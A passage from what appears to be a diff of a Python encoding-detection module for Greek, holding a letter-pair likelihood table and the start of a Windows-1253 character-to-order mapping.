'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 3, # 'ά' + 18: 3, # 'έ' + 22: 3, # 'ή' + 15: 3, # 'ί' + 1: 3, # 'α' + 29: 3, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 3, # 'ε' + 32: 0, # 'ζ' + 13: 3, # 'η' + 25: 0, # 'θ' + 5: 3, # 'ι' + 11: 0, # 'κ' + 16: 0, # 'λ' + 10: 3, # 'μ' + 6: 3, # 'ν' + 30: 0, # 'ξ' + 4: 3, # 'ο' + 9: 3, # 'π' + 8: 0, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 0, # 'τ' + 12: 2, # 'υ' + 28: 3, # 'φ' + 23: 0, # 'χ' + 42: 2, # 'ψ' + 24: 3, # 'ω' + 19: 3, # 'ό' + 26: 2, # 'ύ' + 27: 2, # 'ώ' + }, + 6: { # 'ν' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 2, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 3, # 'ά' + 18: 3, # 'έ' + 22: 3, # 'ή' + 15: 3, # 'ί' + 1: 3, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 3, # 'δ' + 3: 3, # 'ε' + 32: 2, # 'ζ' + 13: 3, # 'η' + 25: 3, # 'θ' + 5: 3, # 'ι' + 11: 0, # 'κ' + 16: 1, # 'λ' + 10: 0, # 'μ' + 6: 2, # 'ν' + 30: 0, # 'ξ' + 4: 3, # 'ο' + 9: 0, # 'π' + 8: 0, # 'ρ' + 14: 0, # 'ς' + 7: 3, # 'σ' + 2: 3, # 'τ' + 12: 3, # 'υ' + 28: 0, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 3, # 'ω' + 19: 3, # 'ό' + 26: 3, # 'ύ' + 27: 3, # 'ώ' + }, + 30: { # 'ξ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 2, # 'ά' + 18: 3, # 'έ' + 22: 3, # 'ή' + 15: 2, # 'ί' + 1: 3, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 3, # 'ε' + 32: 0, # 'ζ' + 13: 3, # 'η' + 25: 0, # 'θ' + 5: 2, # 'ι' + 11: 0, # 'κ' + 16: 0, # 'λ' + 10: 0, # 'μ' + 6: 0, # 'ν' + 30: 0, # 'ξ' + 4: 3, # 'ο' + 9: 0, # 'π' + 8: 0, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 3, # 'τ' + 12: 2, # 'υ' + 28: 0, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 3, # 'ω' + 19: 2, # 'ό' + 26: 3, # 'ύ' + 27: 1, # 'ώ' + }, + 4: { # 'ο' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 2, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 0, # 'ά' + 18: 2, # 'έ' + 22: 3, # 'ή' + 15: 3, # 'ί' + 1: 2, # 'α' + 29: 3, # 'β' + 20: 3, # 'γ' + 21: 3, # 'δ' + 3: 3, # 'ε' + 32: 0, # 'ζ' + 13: 3, # 'η' + 25: 3, # 'θ' + 5: 3, # 'ι' + 11: 3, # 'κ' + 16: 3, # 'λ' + 10: 3, # 'μ' + 6: 3, # 'ν' + 30: 2, # 'ξ' + 4: 2, # 'ο' + 9: 3, # 'π' + 8: 3, # 'ρ' + 14: 3, # 'ς' + 7: 3, # 'σ' + 2: 3, # 'τ' + 12: 3, # 'υ' + 28: 3, # 'φ' + 23: 3, # 'χ' + 42: 2, # 'ψ' + 24: 2, # 'ω' + 19: 1, # 'ό' + 26: 3, # 'ύ' + 27: 2, # 'ώ' + }, + 9: { # 'π' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 3, # 'ά' + 18: 3, # 'έ' + 22: 3, # 'ή' + 15: 3, # 'ί' + 1: 3, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 3, # 'ε' + 32: 0, # 'ζ' + 13: 3, # 'η' + 25: 0, # 'θ' + 5: 3, # 'ι' + 11: 0, # 'κ' + 16: 3, # 'λ' + 10: 0, # 'μ' + 6: 2, # 'ν' + 30: 0, # 'ξ' + 4: 3, # 'ο' + 9: 0, # 'π' + 8: 3, # 'ρ' + 14: 2, # 'ς' + 7: 0, # 'σ' + 2: 3, # 'τ' + 12: 3, # 'υ' + 28: 0, # 'φ' + 23: 2, # 'χ' + 42: 0, # 'ψ' + 24: 3, # 'ω' + 19: 3, # 'ό' + 26: 2, # 'ύ' + 27: 3, # 'ώ' + }, + 8: { # 'ρ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 3, # 'ά' + 18: 3, # 'έ' + 22: 3, # 'ή' + 15: 3, # 'ί' + 1: 3, # 'α' + 29: 2, # 'β' + 20: 3, # 'γ' + 21: 2, # 'δ' + 3: 3, # 'ε' + 32: 0, # 'ζ' + 13: 3, # 'η' + 25: 3, # 'θ' + 5: 3, # 'ι' + 11: 3, # 'κ' + 16: 1, # 'λ' + 10: 3, # 'μ' + 6: 3, # 'ν' + 30: 2, # 'ξ' + 4: 3, # 'ο' + 9: 2, # 'π' + 8: 2, # 'ρ' + 14: 0, # 'ς' + 7: 2, # 'σ' + 2: 3, # 'τ' + 12: 3, # 'υ' + 28: 3, # 'φ' + 23: 3, # 'χ' + 42: 0, # 'ψ' + 24: 3, # 'ω' + 19: 3, # 'ό' + 26: 3, # 'ύ' + 27: 3, # 'ώ' + }, + 14: { # 'ς' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 2, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 0, # 'ά' + 18: 0, # 'έ' + 22: 0, # 'ή' + 15: 0, # 'ί' + 1: 0, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 0, # 'ε' + 32: 0, # 'ζ' + 13: 0, # 'η' + 25: 0, # 'θ' + 5: 0, # 'ι' + 11: 0, # 'κ' + 16: 0, # 'λ' + 10: 0, # 'μ' + 6: 0, # 'ν' + 30: 0, # 'ξ' + 4: 0, # 'ο' + 9: 0, # 'π' + 8: 0, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 0, # 'τ' + 12: 0, # 'υ' + 28: 0, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 0, # 'ω' + 19: 0, # 'ό' + 26: 0, # 'ύ' + 27: 0, # 'ώ' + }, + 7: { # 'σ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 2, # 'ά' + 18: 2, # 'έ' + 22: 3, # 'ή' + 15: 3, # 'ί' + 1: 3, # 'α' + 29: 3, # 'β' + 20: 0, # 'γ' + 21: 2, # 'δ' + 3: 3, # 'ε' + 32: 0, # 'ζ' + 13: 3, # 'η' + 25: 3, # 'θ' + 5: 3, # 'ι' + 11: 3, # 'κ' + 16: 2, # 'λ' + 10: 3, # 'μ' + 6: 0, # 'ν' + 30: 0, # 'ξ' + 4: 3, # 'ο' + 9: 3, # 'π' + 8: 0, # 'ρ' + 14: 0, # 'ς' + 7: 3, # 'σ' + 2: 3, # 'τ' + 12: 3, # 'υ' + 28: 3, # 'φ' + 23: 3, # 'χ' + 42: 0, # 'ψ' + 24: 3, # 'ω' + 19: 3, # 'ό' + 26: 3, # 'ύ' + 27: 2, # 'ώ' + }, + 2: { # 'τ' + 60: 0, # 'e' + 55: 2, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 3, # 'ά' + 18: 3, # 'έ' + 22: 3, # 'ή' + 15: 3, # 'ί' + 1: 3, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 3, # 'ε' + 32: 2, # 'ζ' + 13: 3, # 'η' + 25: 0, # 'θ' + 5: 3, # 'ι' + 11: 2, # 'κ' + 16: 2, # 'λ' + 10: 3, # 'μ' + 6: 0, # 'ν' + 30: 0, # 'ξ' + 4: 3, # 'ο' + 9: 0, # 'π' + 8: 3, # 'ρ' + 14: 0, # 'ς' + 7: 3, # 'σ' + 2: 3, # 'τ' + 12: 3, # 'υ' + 28: 2, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 3, # 'ω' + 19: 3, # 'ό' + 26: 3, # 'ύ' + 27: 3, # 'ώ' + }, + 12: { # 'υ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 2, # 'ά' + 18: 2, # 'έ' + 22: 3, # 'ή' + 15: 2, # 'ί' + 1: 3, # 'α' + 29: 2, # 'β' + 20: 3, # 'γ' + 21: 2, # 'δ' + 3: 2, # 'ε' + 32: 2, # 'ζ' + 13: 2, # 'η' + 25: 3, # 'θ' + 5: 2, # 'ι' + 11: 3, # 'κ' + 16: 3, # 'λ' + 10: 3, # 'μ' + 6: 3, # 'ν' + 30: 3, # 'ξ' + 4: 3, # 'ο' + 9: 3, # 'π' + 8: 3, # 'ρ' + 14: 3, # 'ς' + 7: 3, # 'σ' + 2: 3, # 'τ' + 12: 0, # 'υ' + 28: 2, # 'φ' + 23: 3, # 'χ' + 42: 2, # 'ψ' + 24: 2, # 'ω' + 19: 2, # 'ό' + 26: 0, # 'ύ' + 27: 2, # 'ώ' + }, + 28: { # 'φ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 3, # 'ά' + 18: 3, # 'έ' + 22: 3, # 'ή' + 15: 3, # 'ί' + 1: 3, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 3, # 'ε' + 32: 0, # 'ζ' + 13: 2, # 'η' + 25: 2, # 'θ' + 5: 3, # 'ι' + 11: 0, # 'κ' + 16: 2, # 'λ' + 10: 0, # 'μ' + 6: 1, # 'ν' + 30: 0, # 'ξ' + 4: 3, # 'ο' + 9: 0, # 'π' + 8: 3, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 3, # 'τ' + 12: 3, # 'υ' + 28: 1, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 3, # 'ω' + 19: 3, # 'ό' + 26: 2, # 'ύ' + 27: 2, # 'ώ' + }, + 23: { # 'χ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 3, # 'ά' + 18: 2, # 'έ' + 22: 3, # 'ή' + 15: 3, # 'ί' + 1: 3, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 3, # 'ε' + 32: 0, # 'ζ' + 13: 2, # 'η' + 25: 2, # 'θ' + 5: 3, # 'ι' + 11: 0, # 'κ' + 16: 2, # 'λ' + 10: 2, # 'μ' + 6: 3, # 'ν' + 30: 0, # 'ξ' + 4: 3, # 'ο' + 9: 0, # 'π' + 8: 3, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 3, # 'τ' + 12: 3, # 'υ' + 28: 0, # 'φ' + 23: 2, # 'χ' + 42: 0, # 'ψ' + 24: 3, # 'ω' + 19: 3, # 'ό' + 26: 3, # 'ύ' + 27: 3, # 'ώ' + }, + 42: { # 'ψ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 2, # 'ά' + 18: 2, # 'έ' + 22: 1, # 'ή' + 15: 2, # 'ί' + 1: 2, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 3, # 'ε' + 32: 0, # 'ζ' + 13: 3, # 'η' + 25: 0, # 'θ' + 5: 2, # 'ι' + 11: 0, # 'κ' + 16: 0, # 'λ' + 10: 0, # 'μ' + 6: 0, # 'ν' + 30: 0, # 'ξ' + 4: 2, # 'ο' + 9: 0, # 'π' + 8: 0, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 2, # 'τ' + 12: 1, # 'υ' + 28: 0, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 2, # 'ω' + 19: 0, # 'ό' + 26: 0, # 'ύ' + 27: 0, # 'ώ' + }, + 24: { # 'ω' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 1, # 'ά' + 18: 0, # 'έ' + 22: 2, # 'ή' + 15: 0, # 'ί' + 1: 0, # 'α' + 29: 2, # 'β' + 20: 3, # 'γ' + 21: 2, # 'δ' + 3: 0, # 'ε' + 32: 0, # 'ζ' + 13: 0, # 'η' + 25: 3, # 'θ' + 5: 2, # 'ι' + 11: 0, # 'κ' + 16: 2, # 'λ' + 10: 3, # 'μ' + 6: 3, # 'ν' + 30: 0, # 'ξ' + 4: 0, # 'ο' + 9: 3, # 'π' + 8: 3, # 'ρ' + 14: 3, # 'ς' + 7: 3, # 'σ' + 2: 3, # 'τ' + 12: 0, # 'υ' + 28: 2, # 'φ' + 23: 2, # 'χ' + 42: 0, # 'ψ' + 24: 0, # 'ω' + 19: 0, # 'ό' + 26: 0, # 'ύ' + 27: 0, # 'ώ' + }, + 19: { # 'ό' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 0, # 'ά' + 18: 0, # 'έ' + 22: 0, # 'ή' + 15: 0, # 'ί' + 1: 0, # 'α' + 29: 3, # 'β' + 20: 3, # 'γ' + 21: 3, # 'δ' + 3: 1, # 'ε' + 32: 2, # 'ζ' + 13: 2, # 'η' + 25: 2, # 'θ' + 5: 2, # 'ι' + 11: 3, # 'κ' + 16: 3, # 'λ' + 10: 3, # 'μ' + 6: 3, # 'ν' + 30: 1, # 'ξ' + 4: 2, # 'ο' + 9: 3, # 'π' + 8: 3, # 'ρ' + 14: 3, # 'ς' + 7: 3, # 'σ' + 2: 3, # 'τ' + 12: 0, # 'υ' + 28: 2, # 'φ' + 23: 3, # 'χ' + 42: 2, # 'ψ' + 24: 0, # 'ω' + 19: 0, # 'ό' + 26: 0, # 'ύ' + 27: 0, # 'ώ' + }, + 26: { # 'ύ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 0, # 'ά' + 18: 0, # 'έ' + 22: 0, # 'ή' + 15: 0, # 'ί' + 1: 2, # 'α' + 29: 2, # 'β' + 20: 2, # 'γ' + 21: 1, # 'δ' + 3: 3, # 'ε' + 32: 0, # 'ζ' + 13: 2, # 'η' + 25: 3, # 'θ' + 5: 0, # 'ι' + 11: 3, # 'κ' + 16: 3, # 'λ' + 10: 3, # 'μ' + 6: 3, # 'ν' + 30: 2, # 'ξ' + 4: 3, # 'ο' + 9: 3, # 'π' + 8: 3, # 'ρ' + 14: 3, # 'ς' + 7: 3, # 'σ' + 2: 3, # 'τ' + 12: 0, # 'υ' + 28: 2, # 'φ' + 23: 2, # 'χ' + 42: 2, # 'ψ' + 24: 2, # 'ω' + 19: 0, # 'ό' + 26: 0, # 'ύ' + 27: 0, # 'ώ' + }, + 27: { # 'ώ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 0, # 'ά' + 18: 0, # 'έ' + 22: 0, # 'ή' + 15: 0, # 'ί' + 1: 0, # 'α' + 29: 1, # 'β' + 20: 0, # 'γ' + 21: 3, # 'δ' + 3: 0, # 'ε' + 32: 0, # 'ζ' + 13: 1, # 'η' + 25: 2, # 'θ' + 5: 2, # 'ι' + 11: 0, # 'κ' + 16: 2, # 'λ' + 10: 3, # 'μ' + 6: 3, # 'ν' + 30: 1, # 'ξ' + 4: 0, # 'ο' + 9: 2, # 'π' + 8: 3, # 'ρ' + 14: 3, # 'ς' + 7: 3, # 'σ' + 2: 3, # 'τ' + 12: 0, # 'υ' + 28: 1, # 'φ' + 23: 1, # 'χ' + 42: 0, # 'ψ' + 24: 0, # 'ω' + 19: 0, # 'ό' + 26: 0, # 'ύ' + 27: 0, # 'ώ' + }, +} + +# 255: Undefined characters that did not exist in training text +# 254: Carriage/Return +# 253: symbol (punctuation) that does not belong to word +# 252: 0 - 9 +# 251: Control characters + +# Character Mapping Table(s): +WINDOWS_1253_GREEK_CHAR_TO_ORDER = { + 0: 255, # '\x00' + 1: 255, # '\x01' + 2: 255, # '\x02' + 3: 255, # '\x03' + 4: 255, # '\x04' + 5: 255, # '\x05' + 6: 255, # '\x06' + 7: 255, # '\x07' + 8: 255, # '\x08' + 9: 255, # '\t' + 10: 254, # '\n' + 11: 255, # '\x0b' + 12: 255, # '\x0c' + 13: 254, # '\r' + 14: 255, # '\x0e' + 15: 255, # '\x0f' + 16: 255, # '\x10' + 17: 255, # '\x11' + 18: 255, # '\x12' + 19: 255, # '\x13' + 20: 255, # '\x14' + 21: 255, # '\x15' + 22: 255, # '\x16' + 23: 255, # '\x17' + 24: 255, # '\x18' + 25: 255, # '\x19' + 26: 255, # '\x1a' + 27: 255, # '\x1b' + 28: 255, # '\x1c' + 29: 255, # '\x1d' + 30: 255, # '\x1e' + 31: 255, # '\x1f' + 32: 253, # ' ' + 33: 253, # '!' + 34: 253, # '"' + 35: 253, # '#' + 36: 253, # '$' + 37: 253, # '%' + 38: 253, # '&' + 39: 253, # "'" + 40: 253, # '(' + 41: 253, # ')' + 42: 253, # '*' + 43: 253, # '+' + 44: 253, # ',' + 45: 253, # '-' + 46: 253, # '.' + 47: 253, # '/' + 48: 252, # '0' + 49: 252, # '1' + 50: 252, # '2' + 51: 252, # '3' + 52: 252, # '4' + 53: 252, # '5' + 54: 252, # '6' + 55: 252, # '7' + 56: 252, # '8' + 57: 252, # '9' + 58: 253, # ':' + 59: 253, # ';' + 60: 253, # '<' + 61: 253, # '=' + 62: 253, # '>' + 63: 253, # '?' + 64: 253, # '@' + 65: 82, # 'A' + 66: 100, # 'B' + 67: 104, # 'C' + 68: 94, # 'D' + 69: 98, # 'E' + 70: 101, # 'F' + 71: 116, # 'G' + 72: 102, # 'H' + 73: 111, # 'I' + 74: 187, # 'J' + 75: 117, # 'K' + 76: 92, # 'L' + 77: 88, # 'M' + 78: 113, # 'N' + 79: 85, # 'O' + 80: 79, # 'P' + 81: 118, # 'Q' + 82: 105, # 'R' + 83: 83, # 'S' + 84: 67, # 'T' + 85: 114, # 'U' + 86: 119, # 'V' + 87: 95, # 'W' + 88: 99, # 'X' + 89: 109, # 'Y' + 